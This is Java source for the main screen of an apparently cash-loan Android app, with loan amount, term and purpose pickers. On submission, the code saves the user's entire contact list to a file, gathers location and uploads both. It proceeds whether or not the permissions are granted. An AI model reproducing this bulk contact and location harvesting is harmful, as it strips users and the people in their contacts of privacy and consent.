package com.wb.mas.ui.main;

import android.Manifest;
import android.location.Criteria;
import android.location.Location;
import android.os.Build;
import android.os.Bundle;
import android.text.TextUtils;
import android.view.View;

import androidx.annotation.RequiresApi;
import androidx.databinding.DataBindingUtil;
import androidx.lifecycle.Observer;
import androidx.lifecycle.ViewModelProviders;

import com.gyf.immersionbar.ImmersionBar;
import com.tbruyelle.rxpermissions2.RxPermissions;
import com.wb.mas.BR;
import com.wb.mas.BuildConfig;
import com.wb.mas.R;
import com.wb.mas.app.AppViewModelFactory;
import com.wb.mas.databinding.ActMainBinding;
import com.wb.mas.databinding.ViewNavitationBindingImpl;
import com.wb.mas.entity.DicInfoEntity;
import com.wb.mas.entity.ProdDetailEntity;
import com.wb.mas.utils.ContactUtils;
import com.wb.mas.utils.LocationUtils;
import com.wb.mas.widget.OnPopitemClickLinstener;
import com.wb.mas.widget.SelectPopWindow;

import java.util.ArrayList;
import java.util.List;

import io.reactivex.Observable;
import io.reactivex.ObservableEmitter;
import io.reactivex.ObservableOnSubscribe;
import io.reactivex.android.schedulers.AndroidSchedulers;
import io.reactivex.disposables.CompositeDisposable;
import io.reactivex.functions.Consumer;
import io.reactivex.schedulers.Schedulers;
import me.goldze.mvvmhabit.base.BaseActivity;
import me.goldze.mvvmhabit.utils.ToastUtils;

/**
 * Copyright (C) 2018,
 * MainActivity
 * <p>
 * Description
 * 首页
 *
 * @author mwl
 * @version 1.0
 * <p>
 * Ver 1.0, 2019-04-29, mwl, Create file
 */
public class MainActivity extends BaseActivity<ActMainBinding, MainViewModel> {

    private ViewNavitationBindingImpl navitationBinding;

    private CompositeDisposable compositeDisposable = new CompositeDisposable();

    @Override
    public int initContentView(Bundle savedInstanceState) {
        return R.layout.act_main;
    }

    @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        initNavigation();
        reqPhoneStatusPermissions();
    }

    @Override
    protected void initStatusBar() {
        ImmersionBar.with(this)
                .barColor(me.goldze.mvvmhabit.R.color.white)  //同时自定义状态栏和导航栏颜色，不写默认状态栏为透明色，导航栏为黑色
                .statusBarDarkFont(true)   //状态栏字体是深色，不写默认为亮色
                .navigationBarColor(me.goldze.mvvmhabit.R.color.white)
                .init();  //必须调用方可沉浸式
    }

    @Override
    public MainViewModel initViewModel() {
        AppViewModelFactory factory = AppViewModelFactory.getInstance(getApplication());
        return ViewModelProviders.of(this, factory).get(MainViewModel.class);
    }


    @Override
    public void initViewObservable() {
        super.initViewObservable();
        viewModel.uc.borrowMoneyEvent.observe(this, new Observer() {
            @Override
            public void onChanged(Object o) {
                final List<ProdDetailEntity> prodDetailEntities = viewModel.prodDetailEntities;
                if (prodDetailEntities != null) {
                    List<String> strings = new ArrayList<>();
                    for (ProdDetailEntity prodDetailEntity : prodDetailEntities) {
                        strings.add(getString(R.string.money) + " " + prodDetailEntity.prodRange);
                    }
                    final SelectPopWindow selectPopWindow = new SelectPopWindow(MainActivity.this, strings, getString(R.string.popwindow_title_borrow_money));
                    selectPopWindow.setOnPoPItemClickLinstener(new OnPopitemClickLinstener() {
                        @Override
                        public void OnItemClick(String title, int position) {
                            if (ProdDetailEntity.STATUS_UNABLE.equals(prodDetailEntities.get(position).rangeStatus)) {
                                ToastUtils.showShort(getString(R.string.popwindow_permission_denied));
                            } else {
                                viewModel.setBorrowMoneySelect(position);
                                selectPopWindow.dismiss();
                            }
                        }
                    });
                    selectPopWindow.show(MainActivity.this, viewModel.borrowMoneyIndex);
                }

            }
        });

        viewModel.uc.borrowDateEvent.observe(this, new Observer() {
            @Override
            public void onChanged(Object o) {
                if (TextUtils.isEmpty(viewModel.borrowMoney.get())) {
                    ToastUtils.showShort(R.string.popwindow_select_borrowmoney);
                    return;
                }
                final List<ProdDetailEntity.PTermEntity> pTermEntities = viewModel.prodDetailEntities.get(viewModel.borrowMoneyIndex).prodDetailDTOList;
                if (pTermEntities != null) {
                    List<String> strings = new ArrayList<>();
                    for (ProdDetailEntity.PTermEntity pTermEntity : pTermEntities) {
                        strings.add(pTermEntity.pTerm);
                    }
                    final SelectPopWindow selectPopWindow = new SelectPopWindow(MainActivity.this, strings, getString(R.string.popwindow_title_borrow_date));
                    selectPopWindow.setOnPoPItemClickLinstener(new OnPopitemClickLinstener() {
                        @Override
                        public void OnItemClick(String title, int position) {
                            if (ProdDetailEntity.STATUS_UNABLE.equals(pTermEntities.get(position).status)) {
                                ToastUtils.showShort(getString(R.string.popwindow_permission_denied));
                            } else {
                                viewModel.setBorrowDateSelect(position);
                                selectPopWindow.dismiss();
                            }
                        }
                    });
                    selectPopWindow.show(MainActivity.this, viewModel.borrowDateIndex);
                }
            }
        });


        viewModel.uc.wantBorrowMoneyEvent.observe(this, new Observer() {
            @Override
            public void onChanged(Object o) {
                if (viewModel.needMoneyList != null && viewModel.needMoneyList.size() > 0) {
                    List<String> strings = new ArrayList<>();
                    for (DicInfoEntity dicInfoEntity : viewModel.needMoneyList) {
                        strings.add(dicInfoEntity.dictValue);
                    }
                    final SelectPopWindow selectPopWindow = new SelectPopWindow(MainActivity.this, strings, getString(R.string.popwindow_title_want_borrow_money));
                    selectPopWindow.setOnPoPItemClickLinstener(new OnPopitemClickLinstener() {
                        @Override
                        public void OnItemClick(String title, int position) {
                            viewModel.setWantBorrowSelect(position);
                            selectPopWindow.dismiss();
                        }
                    });
                    selectPopWindow.show(MainActivity.this, viewModel.wantBorrowIndex);
                }
            }
        });


        viewModel.uc.borrowUseEvent.observe(this, new Observer() {
            @Override
            public void onChanged(Object o) {
                if (viewModel.usageOfLoanList != null && viewModel.usageOfLoanList.size() > 0) {
                    List<String> strings = new ArrayList<>();
                    for (DicInfoEntity dicInfoEntity : viewModel.usageOfLoanList) {
                        strings.add(dicInfoEntity.dictValue);
                    }
                    final SelectPopWindow selectPopWindow = new SelectPopWindow(MainActivity.this, strings, getString(R.string.popwindow_title_borrow_use));
                    selectPopWindow.setOnPoPItemClickLinstener(new OnPopitemClickLinstener() {
                        @Override
                        public void OnItemClick(String title, int position) {
                            viewModel.setBorrowUseSelect(position);
                            selectPopWindow.dismiss();
                        }
                    });
                    selectPopWindow.show(MainActivity.this, viewModel.borrowUseIndex);
                }
            }
        });

        viewModel.uc.commitEvent.observe(this, new Observer() {
            @Override
            public void onChanged(Object o) {
                compositeDisposable.add(Observable.create(new ObservableOnSubscribe<String>() {
                    @Override
                    public void subscribe(ObservableEmitter<String> emitter) throws Exception {
                        getBestLocation();
                        String path = getExternalCacheDir() + "/Contact.txt";
                        ContactUtils.saveAllContacts(MainActivity.this, path);
                        emitter.onNext(path);
                    }
                }).subscribeOn(Schedulers.io())
                        .observeOn(AndroidSchedulers.mainThread())
                        .subscribe(new Consumer<String>() {
                            @Override
                            public void accept(String path) throws Exception {
                                viewModel.uploadData(path);
                            }
                        }, new Consumer<Throwable>() {
                            @Override
                            public void accept(Throwable throwable) throws Exception {

                            }
                        }));

            }
        });

        viewModel.uc.reqOrderEvent.observe(this, new Observer() {
            @Override
            public void onChanged(Object o) {
                reqReadContactsPermission();
            }
        });

    }


    private void initNavigation() {
        binding.navigationView.inflateHeaderView(R.layout.view_navitation);
        View headerView = binding.navigationView.getHeaderView(0);
        binding.navigationView.setFitsSystemWindows(false);
        navitationBinding = DataBindingUtil.bind(headerView);
        navitationBinding.setViewModel(viewModel);
        if (BuildConfig.isDebug){
            navitationBinding.llLogout.setVisibility(View.VISIBLE);
        }else{
            navitationBinding.llLogout.setVisibility(View.GONE);
        }
    }


    private void reqPhoneStatusPermissions() {
        RxPermissions rxPermissions = new RxPermissions(this);
        rxPermissions.request(Manifest.permission.READ_PHONE_STATE)
                .subscribe(new Consumer<Boolean>() {
                    @Override
                    public void accept(Boolean aBoolean) throws Exception {
//                        if (aBoolean) {
//                            ToastUtils.showShort("权限已经打开，直接跳入相机");
//                        } else {
//                            ToastUtils.showShort("权限被拒绝");
//                        }
                    }
                });
    }

    private void reqReadContactsPermission() {
        RxPermissions rxPermissions = new RxPermissions(this);
        rxPermissions.request(Manifest.permission.READ_CONTACTS, Manifest.permission.ACCESS_FINE_LOCATION, Manifest.permission.ACCESS_COARSE_LOCATION)
                .subscribe(new Consumer<Boolean>() {
                    @Override
                    public void accept(Boolean aBoolean) throws Exception {
                       viewModel.reqOrder();
                    }
                });
    }


    @Override
    public int initVariableId() {
        return BR.viewModel;
    }


    @Override
    protected void onDestroy() {
        super.onDestroy();
        if (navitationBinding != null) {
            navitationBinding.unbind();
        }
        if (compositeDisposable != null) {
            compositeDisposable.clear();
        }
    }


    /**
     * 采用最好的方式获取定位信息
     */
    private void getBestLocation() {
        Criteria c = new Criteria();//Criteria类是设置定位的标准信息（系统会根据你的要求，匹配最适合你的定位供应商），一个定位的辅助信息的类
        c.setPowerRequirement(Criteria.POWER_LOW);//设置低耗电
        c.setBearingAccuracy(Criteria.ACCURACY_COARSE);//设置COARSE精度标准
        c.setAccuracy(Criteria.ACCURACY_LOW);//设置低精度
        //... Criteria 还有其他属性，就不一一介绍了
//        Location best = LocationUtils.getBestLocation(this, c);
        Location best = LocationUtils.getLocation(this);
        if (best != null) {
            viewModel.location = best;
        }

    }

    @Override
    public void onPause() {
        super.onPause();
        binding.include.bannerView.pause();
    }

    @Override
    public void onResume() {
        super.onResume();
        binding.include.bannerView.start();
    }
}


